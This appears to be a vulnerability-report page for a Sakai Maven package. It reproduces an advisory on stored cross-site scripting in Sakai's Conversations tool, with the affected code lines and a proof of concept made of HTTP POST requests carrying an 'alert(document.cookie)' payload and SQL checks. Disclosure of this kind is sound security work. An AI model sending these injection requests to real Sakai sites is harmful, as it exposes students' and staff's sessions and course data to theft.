maven package report

Is org.sakaiproject.rubrics:rubrics-impl safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so maven packages are not covered.


      cvss
      0.0
      high

      severity band, no base score published

      epss
      0.00%
      low

      chance of exploitation in 30 days, 10th percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-w2x5-gv52-9ccv, the advisory selected below

      // 1 advisories

      GHSA-w2x5-gv52-9ccv

      HIGHCVE-2026-54049
      // summary

      The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.

      // description

      The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (convtopics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.

      The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in convcomments.

      On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:

      • SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)}
      • SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)}
      • SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}

      Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.

      // proof of concept

      Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP275K7418).

      Step 1 - Inject XSS payload in topic:

      POST /api/sites/BELP_275K_7418/topics HTTP/1.1
      Host: localhost:9107
      Cookie: SAKAIID=
      Content-Type: application/json
      
      {"title":"XSS Test Topic","message":"","type":"QUESTION","visibility":"SITE","draft":false}

      Response: HTTP 200, "message":"" - raw HTML stored.

      Step 2 - Verify stored in database:

      SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
      WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
      -- Result: MESSAGE = 

      Step 3 - Inject XSS payload in post reply:

      POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
      Host: localhost:9107
      Cookie: SAKAIID=
      Content-Type: application/json
      
      {"message":"alert(document.cookie)","siteId":"BELP_275K_7418"}

      Response: HTTP 200, "message":"alert(document.cookie)" - raw script stored.

      Step 4 - Verify in database:

      SELECT POST_ID, MESSAGE FROM conv_posts
      WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
      -- Result: MESSAGE = alert(document.cookie)

      When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.

      // impact

      An attacker with any site membership (student role or higher) can:

      • Perform actions on behalf of victims
      • Exfiltrate gradebook data and course content
      • In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously
      // status / timeline:
      • 2026-06-02: Fix committed to master (2696b4b48cbe)
      • Release pending.

      Checked 2026-09-26 at 01:05 UTC. The most recent advisory here was published 2026-08-24. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.